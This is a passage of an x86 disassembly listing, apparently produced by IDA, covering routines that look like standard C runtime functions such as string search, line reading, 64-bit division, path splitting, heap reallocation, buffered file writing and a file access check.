		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_416F4B


loc_416F38:				; CODE XREF: sub_416F20+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_416F10
		test	cl, cl
		jz	short loc_416F94
		test	edx, 3
		jnz	short loc_416F38


loc_416F4B:				; CODE XREF: sub_416F20+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_416F56:				; CODE XREF: sub_416F20+61j
					; sub_416F20+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_416F98
		and	eax, 81010100h
		jz	short loc_416F56
		and	eax, 1010100h
		jnz	short loc_416F92
		and	esi, 80000000h
		jnz	short loc_416F56


loc_416F92:				; CODE XREF: sub_416F20+68j
					; sub_416F20+81j ...
		pop	esi
		pop	edi


loc_416F94:				; CODE XREF: sub_416F20+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416F98:				; CODE XREF: sub_416F20+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_416FD5
		test	al, al
		jz	short loc_416F92
		cmp	ah, bl
		jz	short loc_416FCE
		test	ah, ah
		jz	short loc_416F92
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_416FC7
		test	al, al
		jz	short loc_416F92
		cmp	ah, bl
		jz	short loc_416FC0
		test	ah, ah
		jz	short loc_416F92
		jmp	short loc_416F56
; ---------------------------------------------------------------------------


loc_416FC0:				; CODE XREF: sub_416F20+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416FC7:				; CODE XREF: sub_416F20+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416FCE:				; CODE XREF: sub_416F20+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416FD5:				; CODE XREF: sub_416F20+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_416F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FDC	proc near		; CODE XREF: sub_408503+C6p
					; sub_40CD3A+43DFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_416FF0
		xor	eax, eax
		jmp	short loc_417026
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FDC+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417020
		mov	esi, [ebp+arg_8]


loc_416FF9:				; CODE XREF: sub_416FDC+42j
		dec	dword ptr [esi+4]
		js	short loc_417008
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41700F
; ---------------------------------------------------------------------------


loc_417008:				; CODE XREF: sub_416FDC+20j
		push	esi
		call	sub_41C178
		pop	ecx


loc_41700F:				; CODE XREF: sub_416FDC+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41702A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417020
		dec	[ebp+arg_4]
		jnz	short loc_416FF9


loc_417020:				; CODE XREF: sub_416FDC+18j
					; sub_416FDC+3Dj ...
		and	byte ptr [edi],	0


loc_417023:				; CODE XREF: sub_416FDC+55j
		mov	eax, ebx
		pop	esi


loc_417026:				; CODE XREF: sub_416FDC+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41702A:				; CODE XREF: sub_416FDC+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417020
		xor	ebx, ebx
		jmp	short loc_417023
sub_416FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417033	proc near		; CODE XREF: sub_409A45+6p
					; sub_409A63+48p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_46BB9C, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_417060
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4170F9
		cmp	eax, 5Ah
		jg	loc_4170F9
		add	eax, 20h
		jmp	loc_4170F9
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_417033+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_417094
		cmp	dword_4385FC, esi
		jle	short loc_417082
		push	esi
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41708C
; ---------------------------------------------------------------------------


loc_417082:				; CODE XREF: sub_417033+42j
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41708C:				; CODE XREF: sub_417033+4Dj
		test	eax, eax
		jnz	short loc_417094


loc_417090:				; CODE XREF: sub_417033+ADj
		mov	eax, ebx
		jmp	short loc_4170F9
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_417033+3Aj
					; sub_417033+5Bj
		mov	edx, off_4383F0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4170B8
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4170C1
; ---------------------------------------------------------------------------


loc_4170B8:				; CODE XREF: sub_417033+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4170C1:				; CODE XREF: sub_417033+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_46BB9C
		call	sub_41C639
		add	esp, 20h
		test	eax, eax
		jz	short loc_417090
		cmp	eax, esi
		jnz	short loc_4170EC
		movzx	eax, [ebp+var_4]
		jmp	short loc_4170F9
; ---------------------------------------------------------------------------


loc_4170EC:				; CODE XREF: sub_417033+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4170F9:				; CODE XREF: sub_417033+16j
					; sub_417033+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417033	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417100	proc near		; CODE XREF: sub_40A922+3Dp
					; sub_40C10D+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417121
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_417171
; ---------------------------------------------------------------------------


loc_417121:				; CODE XREF: sub_417100+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41712F:				; CODE XREF: sub_417100+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41712F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41715A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41715A
		jb	short loc_417162
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_417162


loc_41715A:				; CODE XREF: sub_417100+4Aj
					; sub_417100+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_417162:				; CODE XREF: sub_417100+52j
					; sub_417100+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417171:				; CODE XREF: sub_417100+1Fj
		pop	ebx
		retn	10h
sub_417100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417180	proc near		; CODE XREF: sub_40A922+24p
					; sub_40C10D+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4171A2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4171E3
; ---------------------------------------------------------------------------


loc_4171A2:				; CODE XREF: sub_417180+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4171B0:				; CODE XREF: sub_417180+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4171B0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4171DE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4171DE
		jb	short loc_4171DF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4171DF


loc_4171DE:				; CODE XREF: sub_417180+4Ej
					; sub_417180+54j
		dec	esi


loc_4171DF:				; CODE XREF: sub_417180+56j
					; sub_417180+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4171E3:				; CODE XREF: sub_417180+20j
		pop	esi
		pop	ebx
		retn	10h
sub_417180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E8	proc near		; CODE XREF: sub_40A9D8+1E3p
					; sub_40C574+104p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415B10
		cmp	eax, 1
		pop	ecx
		jb	short loc_417223
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417223
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41721F
		push	2
		push	ebx
		push	esi
		call	sub_41CC3D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41721F:				; CODE XREF: sub_4171E8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41722D
; ---------------------------------------------------------------------------


loc_417223:				; CODE XREF: sub_4171E8+18j
					; sub_4171E8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41722D
		and	byte ptr [eax],	0


loc_41722D:				; CODE XREF: sub_4171E8+39j
					; sub_4171E8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4172A5


loc_417240:				; CODE XREF: sub_4171E8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_46D041[edx], 4
		jz	short loc_417251
		inc	eax
		jmp	short loc_41726B
; ---------------------------------------------------------------------------


loc_417251:				; CODE XREF: sub_4171E8+64j
		cmp	cl, 2Fh
		jz	short loc_417265
		cmp	cl, 5Ch
		jz	short loc_417265
		cmp	cl, 2Eh
		jnz	short loc_41726B
		mov	[ebp+var_4], eax
		jmp	short loc_41726B
; ---------------------------------------------------------------------------


loc_417265:				; CODE XREF: sub_4171E8+6Cj
					; sub_4171E8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41726B:				; CODE XREF: sub_4171E8+67j
					; sub_4171E8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417240
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4172A5
		cmp	[ebp+arg_8], 0
		jz	short loc_4172A0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417289
		mov	edi, esi


loc_417289:				; CODE XREF: sub_4171E8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41CC3D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4172A0:				; CODE XREF: sub_4171E8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4172AF
; ---------------------------------------------------------------------------


loc_4172A5:				; CODE XREF: sub_4171E8+56j
					; sub_4171E8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4172AF
		and	byte ptr [ecx],	0


loc_4172AF:				; CODE XREF: sub_4171E8+BBj
					; sub_4171E8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417302
		cmp	edi, ebx
		jb	short loc_417302
		cmp	[ebp+arg_C], 0
		jz	short loc_4172DF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4172C8
		mov	edi, esi


loc_4172C8:				; CODE XREF: sub_4171E8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC3D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4172DF:				; CODE XREF: sub_4171E8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41732A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4172EF
		mov	esi, eax


loc_4172EF:				; CODE XREF: sub_4171E8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41CC3D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41732A
; ---------------------------------------------------------------------------


loc_417302:				; CODE XREF: sub_4171E8+CCj
					; sub_4171E8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417320
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417311
		mov	esi, eax


loc_417311:				; CODE XREF: sub_4171E8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41CC3D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417320:				; CODE XREF: sub_4171E8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41732A
		and	byte ptr [eax],	0


loc_41732A:				; CODE XREF: sub_4171E8+FCj
					; sub_4171E8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41732F	proc near		; CODE XREF: sub_40B0EC+19p
					; sub_412B8B+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D6C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41736D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41737A
; ---------------------------------------------------------------------------


loc_41736D:				; CODE XREF: sub_41732F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_41737A:				; CODE XREF: sub_41732F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41732F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41737F	proc near		; CODE XREF: sub_40B363+2Cp
					; sub_416663+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41739A
		push	[ebp+arg_4]
		call	sub_415BE9
		pop	ecx
		jmp	loc_41761A
; ---------------------------------------------------------------------------


loc_41739A:				; CODE XREF: sub_41737F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_4173AF
		push	[ebp+arg_0]
		call	sub_415C9B
		pop	ecx
		jmp	loc_417618
; ---------------------------------------------------------------------------


loc_4173AF:				; CODE XREF: sub_41737F+20j
		mov	eax, dword_46D168
		cmp	eax, 3
		jnz	loc_4174BF


loc_4173BD:				; CODE XREF: sub_41737F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41749B
		push	[ebp+arg_0]
		call	sub_418CBD
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_417476
		cmp	esi, dword_46D160
		ja	short loc_41742F
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4194C6
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41742B
		push	esi
		call	sub_419011
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41742F
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41740F
		mov	eax, esi


loc_41740F:				; CODE XREF: sub_41737F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_4153F0
		push	ebx
		call	sub_418CBD
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_418CE8
		add	esp, 18h


loc_41742B:				; CODE XREF: sub_41737F+74j
		test	edi, edi
		jnz	short loc_417472


loc_41742F:				; CODE XREF: sub_41737F+62j
					; sub_41737F+81j
		test	esi, esi
		jnz	short loc_417436
		push	1
		pop	esi


loc_417436:				; CODE XREF: sub_41737F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46D164
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_417472
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41745E
		mov	eax, esi


loc_41745E:				; CODE XREF: sub_41737F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_4153F0
		push	[ebp+arg_0]
		push	ebx
		call	sub_418CE8
		add	esp, 14h


loc_417472:				; CODE XREF: sub_41737F+AEj
					; sub_41737F+D0j
		test	ebx, ebx
		jnz	short loc_417497


loc_417476:				; CODE XREF: sub_41737F+56j
		test	esi, esi
		jnz	short loc_41747D
		push	1
		pop	esi


loc_41747D:				; CODE XREF: sub_41737F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_46D164
		call	dword_421160	; RtlReAllocateHeap
		mov	edi, eax


loc_417497:				; CODE XREF: sub_41737F+F5j
		test	edi, edi
		jnz	short loc_4174B8


loc_41749B:				; CODE XREF: sub_41737F+43j
		cmp	dword_46BB64, 0
		jz	short loc_4174B8
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	loc_4173BD
		jmp	loc_417618
; ---------------------------------------------------------------------------


loc_4174B8:				; CODE XREF: sub_41737F+11Aj
					; sub_41737F+123j ...
		mov	eax, edi
		jmp	loc_41761A
; ---------------------------------------------------------------------------


loc_4174BF:				; CODE XREF: sub_41737F+38j
		cmp	eax, 2
		jnz	loc_4175DA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4174DC
		test	esi, esi
		jbe	short loc_4174D9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4174DC
; ---------------------------------------------------------------------------


loc_4174D9:				; CODE XREF: sub_41737F+150j
		push	10h
		pop	esi


loc_4174DC:				; CODE XREF: sub_41737F+14Cj
					; sub_41737F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175BC
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_419A18
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_4175A0
		cmp	esi, dword_43A634
		jnb	short loc_417564
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419DE0
		add	esp, 10h
		test	eax, eax
		jz	short loc_41752A
		mov	edi, [ebp+arg_0]
		jmp	short loc_41755C
; ---------------------------------------------------------------------------


loc_41752A:				; CODE XREF: sub_41737F+1A4j
		push	edi
		call	sub_419AB4
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417564
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_417543
		mov	eax, esi


loc_417543:				; CODE XREF: sub_41737F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_4153F0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419A6F
		add	esp, 18h


loc_41755C:				; CODE XREF: sub_41737F+1A9j
		test	edi, edi
		jnz	loc_4174B8


loc_417564:				; CODE XREF: sub_41737F+18Bj
					; sub_41737F+1B6j
		push	esi
		push	0
		push	dword_46D164
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175BC
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_417585
		mov	eax, esi


loc_417585:				; CODE XREF: sub_41737F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_4153F0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419A6F
		add	esp, 18h
		jmp	short loc_4175B4
; ---------------------------------------------------------------------------


loc_4175A0:				; CODE XREF: sub_41737F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_46D164
		call	dword_421160	; RtlReAllocateHeap
		mov	edi, eax


loc_4175B4:				; CODE XREF: sub_41737F+21Fj
		test	edi, edi
		jnz	loc_4174B8


loc_4175BC:				; CODE XREF: sub_41737F+162j
					; sub_41737F+1F8j
		cmp	dword_46BB64, 0
		jz	loc_4174B8
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	loc_4174DC
		jmp	short loc_417618
; ---------------------------------------------------------------------------


loc_4175DA:				; CODE XREF: sub_41737F+143j
					; sub_41737F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_417604
		test	esi, esi
		jnz	short loc_4175E8
		push	1
		pop	esi


loc_4175E8:				; CODE XREF: sub_41737F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_46D164
		call	dword_421160	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41761A


loc_417604:				; CODE XREF: sub_41737F+260j
		cmp	dword_46BB64, 0
		jz	short loc_41761A
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	short loc_4175DA


loc_417618:				; CODE XREF: sub_41737F+2Bj
					; sub_41737F+134j ...
		xor	eax, eax


loc_41761A:				; CODE XREF: sub_41737F+16j
					; sub_41737F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41737F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761F	proc near		; CODE XREF: sub_40B9BC+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417643
		xor	eax, eax
		jmp	loc_417710
; ---------------------------------------------------------------------------


loc_417643:				; CODE XREF: sub_41761F+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417656
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41765D
; ---------------------------------------------------------------------------


loc_417656:				; CODE XREF: sub_41761F+2Dj
		mov	[ebp+arg_C], 1000h


loc_41765D:				; CODE XREF: sub_41761F+35j
					; sub_41761F+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417691
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417691
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417677
		mov	edi, eax


loc_417677:				; CODE XREF: sub_41761F+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4153F0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4176D7
; ---------------------------------------------------------------------------


loc_417691:				; CODE XREF: sub_41761F+47j
					; sub_41761F+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4176DC
		test	ecx, ecx
		jz	short loc_4176A5
		push	esi
		call	sub_418704
		test	eax, eax
		pop	ecx
		jnz	short loc_41771E


loc_4176A5:				; CODE XREF: sub_41761F+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_4176B8
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_4176BA
; ---------------------------------------------------------------------------


loc_4176B8:				; CODE XREF: sub_41761F+8Aj
		mov	edi, ebx


loc_4176BA:				; CODE XREF: sub_41761F+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41CCC7
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417715
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_417715


loc_4176D7:				; CODE XREF: sub_41761F+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_417705
; ---------------------------------------------------------------------------


loc_4176DC:				; CODE XREF: sub_41761F+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C57
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41771E
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_417705
		mov	[ebp+arg_C], 1


loc_417705:				; CODE XREF: sub_41761F+BBj
					; sub_41761F+DDj
		test	ebx, ebx
		jnz	loc_41765D
		mov	eax, [ebp+arg_8]


loc_417710:				; CODE XREF: sub_41761F+1Fj
					; sub_41761F+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417715:				; CODE XREF: sub_41761F+ADj
					; sub_41761F+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_417720
; ---------------------------------------------------------------------------


loc_41771E:				; CODE XREF: sub_41761F+84j
					; sub_41761F+CFj
		mov	eax, edi


loc_417720:				; CODE XREF: sub_41761F+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_417710
sub_41761F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417729	proc near		; CODE XREF: sub_40C0F3+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417749
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41CE74
		pop	ecx


loc_417745:				; CODE XREF: sub_417729+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417749:				; CODE XREF: sub_417729+Dj
		test	al, 1
		jz	short loc_41776A
		test	[esp+arg_4], 2
		jz	short loc_41776A
		mov	dword_46BB04, 0Dh
		mov	dword_46BB08, 5
		jmp	short loc_417745
; ---------------------------------------------------------------------------


loc_41776A:				; CODE XREF: sub_417729+22j
					; sub_417729+29j
		xor	eax, eax
		retn
sub_417729	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_40C21C+5Fp
					; sub_40C21C+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
